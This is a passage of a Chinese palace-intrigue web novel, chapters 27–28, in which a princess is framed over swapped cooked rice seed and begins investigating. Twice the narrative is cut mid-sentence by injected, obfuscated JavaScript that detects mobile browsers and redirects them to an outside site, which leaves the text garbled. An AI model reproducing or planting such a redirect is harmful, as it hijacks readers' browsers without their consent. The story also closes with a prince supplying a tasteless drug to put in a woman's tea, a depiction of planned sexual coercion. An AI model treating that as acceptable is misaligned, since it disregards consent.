听声音像是一个老者,容与一喜,贴着篷布外扬声道:“主人家,我们可否进去一叙?” 半晌,屋里才传来一声半是警惕半是哀求的话:“俺老太婆带着两个没爹没娘的孩子,没啥值得惦记的了,行行好放过俺们娘三个吧。” 这话好像一只无形手,攥得容与的心生疼,可此行不能白来,她犹豫一下,还是擅自钻进去。 “恕我们擅闯之过,只是有件重要的事情想问问您,我们没有恶意,您别怕。”她一把撤下头上的斗篷,露出娇俏的脸。 看到是个人畜无害的女子,老妇渐渐平静下来,可看到她身后跟着的那个人高马大的男人时,再次满身敌意。 容与回头:“你去门口守着。” “可是……” 尉朔不放心她一人在此,本想拒绝,可看到她不容反驳的眼神后,还是没说什么转身出去。 等老妇放下戒备,容与才轻声问道:“婆婆,我是想打听一下你们为什么会来到此处?” “哎,我们本是本分的农户,还有些本是在城中做些小本生意的,可是饥荒之后,我们就活不下去了,只能乞讨为生。” 老妇眼眶愈来愈红:“后来,听说圣上派了皇子做钦差来帮助我们这些穷苦人家,我们本以为能活下去了,谁知钦差进城之前,官府便将我们全都赶出了城,圈禁在棚民巷这一小块地方等死,大概是怕我们饶了皇子的眼睛,戳破官府赈灾有功的假话。” 容与心神大震,接着问:“那孩子刚才提到的二叔又因何而死?” 老妇痛惜摇头:“哎,我的儿还不记得教训,听说来了个公主在城中为穷人设粥棚,便妄想混进去讨些粥吃。可那粥棚哪里是给我们这些真正的穷人设的呢,人家公主只是装个样子,赚个美名,能进粥棚的也都是与知府相熟的有钱有势的人家,有谁会真的在意我们这些人的死活?” 容与又问:“那你们的土地呢,你们本是农户,应该有地吧?” 果然,老妇浑浊的泪涌出:“俺家本有几亩薄田,可出事之后,就被人低价买了去,他们出的银子还不足往日一半,可是没办法,为了一口饭,我们不能不卖啊!” 正当容与想进一步追问时,却听到身后一阵窸窣。 她机警回头,却看到嘉穗的身影。 “你怎么过来了?” 嘉穗面色急切地附耳悄声道:“不好了,太子的人找来此处,看着像兴师问罪的样子。” 想到方才老妇所说,容与了然,哥哥和张知府做这种事的时候就该想到后果,如今事情败露,也怨不得别人。 可下一刻,嘉穗惊慌的话再次响起:“可是……可是他们好像不是冲着荣王殿下和张大人来的,而是冲着您啊!” 27. 掉包 容与一时听不明白,他们要兴师问罪的对象竟然是自己?可自己才来庆祥府不过三日,又犯下什么弥天大错,值得他们追到此处? 嘉穗显然也是一头雾水,被太子的阵仗吓得有些懵。 “他们现下在哪?”容与问。 “就在巷口,他们说若您不自己出去,他们就要进来……进来拿您。” 言下之意便是如果容与坚持不现身,那就难免连累这里的灾民了。灾民已经沦落至此,她绝不能再因为自己的缘故拖累他们。 她伸手拍了拍老妇的肩膀,示意她莫怕,接着起身出去。 巷口的阵仗大得容与始料未及,为首的是太子褚炆宗,他侧首便是荣王褚炆卓,二人侧后方还站着唯唯诺诺的张从绪及一干庆祥府官员,以及陈屏、赵协之流更是数不胜数,甚至连姜南洲也赫然在列。 这阵仗看来确实不是褚炆卓和张从绪之事东窗事发,看起来更是像……来捉拿她的。 “妹妹……”褚炆卓看到容与的一刻眼前一亮,可刚要开口就被褚炆宗先一步打断。 他严肃道:“清阳妹妹,朝堂社稷之事为兄本不想将你牵扯在内,可如今种种证据都指向你,为平民愤,却也不得不问你一问了。” 容与摸不着头脑:“太子哥哥这话清阳实在不明白,您所说的究竟是何事,又究竟是什么证据?” 褚炆宗朝身后挥了挥手,只听“轰隆隆”一阵声响,侍从们推来一辆马车,只不过这辆马车并非载人,而是载物之用。 “这些东西,清阳妹妹应该认得吧。”褚炆宗语气里意味不明。 容与心里一惊,虽然马车上的货物盖着篷布,可她又怎会认不出来,这车上载的赫然便是此次带来庆祥府的旱稻种子。 这些种子是她亲自监督着装车的,就连上面的篷布都是她亲手盖上的,甚至封条也是她亲手所写,并贴在封口之上的。 容与刚想回答认识,可旋即心思一转,避开了这个陷阱:“太子哥哥还未说究竟是怎么一回事?” “哎呀妹妹,就是这些种子出了事!”褚炆卓快人快语,直接吐露出来。 褚炆宗暗暗瞪他一眼,怕他再说出什么不该说的,连忙不动声色地抢过话语权。 “二弟说的不错,这种子乃是出自清阳妹妹的别院,皆是妹妹亲自监督装车并贴上的封条,可今日上午将种子分发给百姓叫他们抓紧播种时,却被人指出这种子有问题!” 容与面色一沉,怎么可能呢,这些种子都是她亲自检查过的,不可能有任何问题,除非……是被人调包了。 一瞬间,无数个念头一齐涌来,她强迫自己冷静下来,虽然不知想陷害自己的究竟是谁,可她此时不能露怯,更不可被旁人牵着鼻子走。 她挺了挺胸膛,露出胸有成竹的神情:“呵,你们说这种子有问题便有问题了?诸位皆是朝堂上的大人物,当知口说无凭,事事皆要看证据。” 褚炆宗不置可否,他挥了挥手,身后的随从便捧起一把种子交到容与手里。 一旁的尉朔先一步上前接过,容与用两根指尖捻起其中三两粒,先抬手就着日光凑在眼下细细辨认。 只见种子皮颜色青褐匀净,就连种皮上的细微纹路都清清楚楚,瞧着和自己亲手备下的旱稻种子别无二致,并非其他普通品种的稻种。 她接着用两根指头捏住一粒,指腹摩挲着种皮,不粘手、不打滑,也不轻飘,柔韧弹性皆一如往常,挑不出半分错处。 容与秀眉微蹙,心下已生出几分被冤枉、戏耍的愤怒,可出于对农桑之道的谨慎之心,还是又把将种子凑到鼻尖深嗅了一口,是清新的稻香,颠在掌心里簌簌的摩擦感也并无任何问题。 她抬起头,直视褚炆宗,面上有些不耐:“太子哥哥,这旱稻种子并无问题。” “哦?”只听褚炆宗意味深长地低哼,接着又一挥手,身后的随从便再次上前。 他手中端了一碗清水,接着捻起几粒种子浸泡在水里,碗里竟泛起一层淡淡的白膜,往碗底看去,里面竟还凝了些残浆。 而那本该沉底的种子,竟稳稳漂浮在水面上! 容与心猛地一沉,像被尖刺猝不及防地狠狠扎了下。她怎会不知,生种沉于水底,而只有煮熟的种子才会浮起! 这种子莫非是熟的! 她连忙踉跄上前捞起水里的种子,攥在掌心用力一掐,而重新张开手掌时,容与瞳孔猛地一震,手中竟粘着满掌的碎粉,这说明……这些种子竟真是熟的! 这怎么可能?这些种子是她亲手培育出来的,装车前她明明细细检查过的。她恍然惊觉,这恐怕是被人调包了! 褚炆宗厉声道:“如今证据就摆在这里,清阳妹妹还有什么好说的?” 他缓了口气,面上是痛心疾首,声音却是冷酷无情:“三年前你虐打流民,原以为如今你已经痛改前非,我才答应带你同来,谁曾想你如今竟变本加厉!你可知春耕意味着什么,若粮种的异常未被及时揭发,而是直接播种下去,等到收获时百姓的希望将化为虚有,他们好不容与才挺过一次大旱,你又怎么忍心再给他们一次重击?” “不是我……”容与想要辩解,可周围全是质疑的声音,她的辩解被瞬间淹没。 就在这时,一直垂手侍立在侧的张从绪却站了出来。 他向众人拱手道:“下官有一言不知当不当讲,众人皆知这旱稻种子乃是清阳公主主动献出的,若公主公然在种子里动手脚,那这未免也太过明显了。” 此言一出,众人哗然,是呀,清阳公主也不至于蠢笨到如此地步。 见局面有所扭转,他接着道:“种子出于公主别院不假,可这一路上都是由太子殿下押运,公主与您并非同路而来,路途上颠簸了半月有余,这其中发生了什么变故并非没有可能吧。” 张从绪说出这话众人倒都没有什么意外,毕竟人人皆知他是张家的人,自然也是贵妃一派的。 也许早就料到他会有此主张,褚炆宗冷笑一声:“张大人的意思是,这种子原本是好的,但本太子在路上将它们掉包了?” “下官不敢,可路途遥远,盗匪将之掉包了也是有的。” 他虽如此说,可众人皆明白,盗匪直接抢了便是了,又何苦费这么多心思用这假的掉包,还换得如此天衣无缝。 褚炆宗自然料到众人心中所想,于是朗声道:“本殿受父皇重用,来此赈灾,若出了什么问题本殿难辞其咎,又何至于以身试法,只是为了嫁祸于一位公主?” 此言极有道理,他已经是大晟的储君,而褚容与就算再得宠,也不过是个没有实权的公主,根本威胁不到他分毫,根本不值得他冒险嫁祸。 待人声平息后,褚炆宗接着道:“而且马车上的封条是当着诸位的面撕开的,当时封条是何情状,诸位想必也看清楚了。” 众人纷纷应和:“确实,当时我们都看到了,封条和车上的篷布都是完好无损的,那封条上确实是清阳公主的字迹。” 一时间,舆论再次倒了过来。 许多蜗居在棚民巷中的灾民早就闻声围了过来,听完事情原委后,他们群情激愤。 “原来她就是清阳公主,她在京城虐打百姓不够,还要跑到这里祸害咱们。” “就是,孙家老二就是听信了她的鬼话,被骗进城里领粥,竟被活活打死了。” 唾骂声像雪花一样落下,明明并无分量,却压得容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100280|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与几乎喘不过气。 “不是我……”可没有人听她的辩解。 她双目空洞地看向周围一张张扭曲的嘴脸,突然看到一个熟悉的面孔,是方才那个窝棚中的老妇,她脸上是失望、是被欺骗的愤怒。 “哥哥,你信我吗?”她祈求地看向褚炆卓。 “我……”他想说话,可陈屏在他耳边说了什么后,他还是选择闭口不言。 “小洲哥哥,你清楚的,不是我。”她又转向姜南洲,像抓住最后一株救命稻草。 姜南洲却眼神复杂地看向她,未发一言。 三年前的无力感再一次像潮水般涌来,咒骂声虽是钻入耳朵,却令她的口鼻几乎窒息。 就在这时,一双宽厚的大手突然覆在她双耳上,顷刻间,万籁俱寂。 “我信你!” 透过那双温暖的手掌,一个坚定的声音传来,是尉朔! 也许是这双手掌将那些扰乱人心的声音全部隔绝在外,容与的理智渐渐回笼。 经历了三年前的那场陷害,她自然应该有所成长,她不能如三年前一样选择逃避,任由别人误解、栽赃。 毕竟人们只会相信愿意相信的,可若她自己都不为自己造势、不为自己努力,别人又凭什么相信她? 眼下是否有人信任她并不重要,重要的是,她要将希望寄托于自己,而非其他任何人。 她应当做自己命运的主宰者,而非是一个乞丐,成日祈求着旁人施舍般的信任。 她定了定神,昂首站出来,从未有过的坚定:“人人皆知种子出自本宫别院,一旦出事,本宫便是首当其冲,所以本宫才是最没有理由如此做的人!本宫做过的自当承认,没做过的也绝不容任何人污蔑!” 她面对众人朗声道:“请诸位放心,莫说这罪魁祸首妄图栽赃于本宫,即使与本宫无关,本宫作为大晟公主,也自会义不容辞将此奸佞查出,替庆祥百姓讨个公道!” * 因众说纷纭,熟种之事暂时未有结论。 待回到住处,尉朔担忧问道:“你打算怎么办?” “将此事查到底!” 尉朔点头:“他们无端污蔑,你理应为自己讨回公道。” 容与却摇头:“不,不止是为我自己,也为了那些无辜受难的百姓。” 从前她奉行独善其身,一直做个只会逃避的怂包。可这是她第一次觉得,原来那么多百姓的命运与自己是同频共振的,她被栽赃自然无辜,可那些百姓的性命只配作为栽赃的筹码,又何其无辜。逃避不仅解决不了任何问题,还只会引发更大的灾祸。 她敛眉细想那些熟种几乎能以假乱真的模样,沉声道:“此人造假的手段极为高明,无论是肉眼、手感、嗅觉都无法辨别出来,说明此人应该对农桑之道极为熟稔,更是对粮种秉性信手拈来。” “这种造假的方法麻烦吗?”尉朔问。 “极为复杂,想要做到这个程度至少要经过十道工序,十分耗费时间。” 尉朔不解:“可太子路途上随行官员众多,又有各地官员招待,很难有这么多时间造假吧。” “确实,除非是事先早就准备好了熟种,只需找到机会直接掉包。可这是我刚培育出的旱稻,外观与普通稻种略有不同。据我所知整个大晟只有我一人有旱稻种子,即使别人想要提前找到种子煮熟,也是无法得到的。” 尉朔明白她的意思:“你是说,除非那人手中也有足够多的旱稻种子?” 熟知农事,又有研制出旱稻种子的本事,还有机会掉包,这样的人除了容与,便只有…… “小洲哥哥!” “姜南洲!” 二人异口同声。 28. 试探 容与被自己突如其来的念头惊了一跳,即使不提二人自幼相识的情分,就说小洲哥哥神农谷少谷主的身份,他也不可能做出这种冒天下之大不韪之事呀,毕竟弘农氏名扬天下的家训便是:耒耨之利,以教天下。 农耕为本,兼济天下,这是弘农氏世世代代的坚守,姜南洲身为少谷主又怎会拿庆祥百姓的生存之本随意算计? 看到容与眼中的挣扎,尉朔也并未逼迫,而是问出一直以来的困惑:“你与姜兄是怎么认识的?” “我五岁那年,在柔仪宫后的小菜圃。” 容与的声音轻缓,带些恍惚,好像说给尉朔听,又好像说给自己。 “那时京城刚刚经受过百年难遇的水患,京周围数十里皆是淤泥,寸草不生,大晟群臣皆束手无策,只有神农谷才有本事化泥涂为良田。” 那年皇上因京城饥荒夙夜难寐,还是年仅十三的褚炆宗主动站出来,愿代表大晟只身前往神农谷请求谷主出山,以解大晟之困。 但世人皆知神农谷极为神秘,隐于密林之中,无人知晓其真正所在。许多朝臣名士前仆后继,可大多半路折戟,迷失于山林瘴疠之中,因此殒命。朝堂上下,无人觉得一个长在深宫里的少年能找到那个地方,并成功求得帮助。 因此在褚炆宗启程前往神农谷时,贵妃大喜过望,毕竟那时尚未册立太子,只要褚炆宗死了残了,太子之位便可轻易落在自己所出的褚炆卓身上。 可她终究是料错了,褚炆宗不仅活着回来,还带回了神农谷谷主,成就大功一件。也因此大功,皇上龙颜大悦,当即下旨册封他为皇太子。 而册封礼那天,连下三旬的大雨戛然而止,艳阳高照,晴空万里。百姓皆言此乃天意,纷纷跪伏在地,高喊太子千岁千千岁。 容与还清楚地记得册封礼那天,张贵妃在众人面前强撑了一整天的温柔笑容一回到柔仪宫就荡然无存,她抄起宫里的华贵摆设想砸烂泄愤,可又怕动静太大叫皇上察觉,便将满腔怒气全都发泄在容与身上。 翌日晨光熹微之时,容与掩住布满青紫掐痕的手臂,甩开婢女仆从,偷偷跑到柔仪宫后的小菜圃里。 这里本是一小块荒着的空地,每每贵妃生气之时,她便会被罚到此处面壁思过。久而久之,这里就成了她伤心难过时的休憩之处,是这诺大皇宫中唯一独属于她自己的一方小天地,里面茁壮成长的小苗们也成了她为数不多的挚友。 为了让这里不再荒芜,她偷偷找御膳房的嬷嬷要了些好养活的菜种,将它们撒在荒地上,这块荒地也因为她的用心打理变成井井有条的小菜圃。 可这次容与来到这里时,却发现里面多了个素未谋面的不速之客。 “你是谁?” 蹲在菜圃里的小男孩也吓了一跳,片刻后才回答道:“在下神农谷姜南洲。” 小容与不知道姜南洲是谁,但神农谷她是清楚的,毕竟柔仪宫里的压抑气氛就是因为褚炆宗请了神农谷的人出山。 “你为何到我的地盘来?”小容与叉腰问道。 看到她这气势汹汹的样子,小姜南洲不仅不怕,反而笑了出来:“祖父忙于公事,就先将我托付在宫中,我一个人无事可做,不知怎么就逛到这里,看这里的菜苗长势喜人,一时被吸引住。” 神农谷少谷主出现在柔仪宫的消息自然瞒不住张贵妃,为了讨好皇上,她当即自告奋勇揽下照顾姜南洲的职责。从此除了老谷主带姜南洲下田观摩之外,姜南洲都会出现在柔仪宫。有时察觉到容与对宫外的向往,他还找借口央了祖父带容与一起去京郊农田。 就这样,神农谷谷主与皇上达成承诺,留在这里帮助大晟五年,姜南洲也因此留在此处五年。除了不会说话的小苗们,容与终于有了一个会说话的朋友。 五年一晃而过,姜南洲即将要随老谷主离开,容与纵然不舍,也没有理由阻拦。 可未曾想,只过了一年,姜南洲就再次出现在京城。 他说:“祖父说我年纪不小了,命我出谷游历,以观遍天下农事,以后我每年都会来京城停留数月。” 就这样,年复一年,直至三年前他彻底离开。 …… 听着这段“挚友”二字,尉朔松了一口气,可这也并不影响他心里酸酸的。 他不自在地问:“所以你相信他与调包之事无关?” 谁知容与却摇头:“不,这世上最易变的就是人心,未查清前,我不会轻信任何人。” “也包括我吗?” 容与莫名其妙地斜睨他一眼:“你?呵,这事肯定不是你做的。” 他这人心直口快,又没钱,在大晟也是没权没势,更重要的是他对农事一窍不通,是谁都不可能是他。 可尉朔不清楚容与心里所想,以为自己在她心里是与众不同的,不由觉得高了姜南洲一头,话里也带了些得意:“你打算怎么查查这姜南洲,需要我做的尽管吩咐,我都听你的。” 容与沉思了一会儿:“不必,我自己去会会他。” 尉朔连忙争取:“那我同你一起去。” “不必,你与他不熟,难免打草惊蛇。” 尉朔本还美滋滋的心情瞬间沉入谷底,可他又不懂这些朝堂争斗,所以容与说什么便是什么,他只管乖乖听从安排就好了。 * 容与敲开姜南洲的房门时,他看起来并不惊讶。 他抢先开口:“熟种之事我并非不相信你,只是神农谷身份太过敏感,我实在无法在众人面前偏袒于你。” “我明白你的顾虑,来此也并非想责怪于你。” “那便好。”听到她温柔的声音,姜南洲暗暗松了口气。 可旋即便听到她接着说:“小洲哥哥见多识广,对于这罪魁祸首有何看法?” 这一问,让他刚放松的心再次提起来,他轻咳两声:“我……我只是一介农夫,对于朝堂之事一窍不通。” 容与将他的反应尽收眼底,可她也不追问,只是淡然一笑:“既然如此,我便不多打扰了。” 从屋里出来,嘉穗忧心忡忡:“公主相信姜公子所说的吗?” 容与不置可否,她本就没有期盼姜南洲会直接承认或否认,毕竟从未听说过有贼会不打自招的,从这三言两语中她尚且难以确定究竟是不是姜南洲。 可此行也并非没有收获,毕竟姜南洲方才的反应太过反常。 她低声吩咐嘉穗:“严密监视姜公子,他的一切来往信件务必细细检查。” 而她们离开后,一个黑影从墙壁后闪身而出,向褚炆宗的住处而去。 * “禀告太子殿下,属下依您的吩咐查了姜南洲,暂时未找到什么异样。” 听到下属禀告,褚炆宗垂眸沉思着,指节敲打案牍发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看容与怔愣,他又放缓声音,恩威并施:“只要你听为兄的话,粮种之事为兄必会帮你查清,还你清白。” 容与走后,下属有些担忧:“殿下,清阳公主她会听吗?” 这也正是褚炆宗所担心的,毕竟他们和贵妃一派的人向来只是面和心不和。 “将尉朔叫来。”他灵光一闪。 褚容与再怎么样也只是个女子,还是个已经嫁出去的女子,他不信尉朔也钳制不了她。 这还是褚炆宗第一次单独召见尉朔。 他屏退众人后才缓缓开口:“清阳妹妹与姜公子的事驸马大概还不清楚吧,他们青梅竹马,又常常孤男寡女共处一室……” 尉朔直接面色不善地打断他:“太子究竟想说什么?” 褚炆宗直接道:“驸马就不怕头上裹绿巾?” “太子是想帮我?” 看他上钩,褚炆宗满意点头:“女人嘛,一旦有了孩子就跑不掉了,只要她诞下你的孩子,你便可高枕无忧,就连父皇也会看在外孙的份上对你们察泰另眼相待。有了大晟的庇护,你们察泰何愁没有好日子过?” 看他一言不发,褚炆宗只当他已经听进去自己的“好言相劝”,遂从袖中掏出一小包药粉模样的东西塞进尉朔手中。 “这可是个好东西,无色无味,只要神不知鬼不觉地下在女子的茶水里,她便任你摆布了。”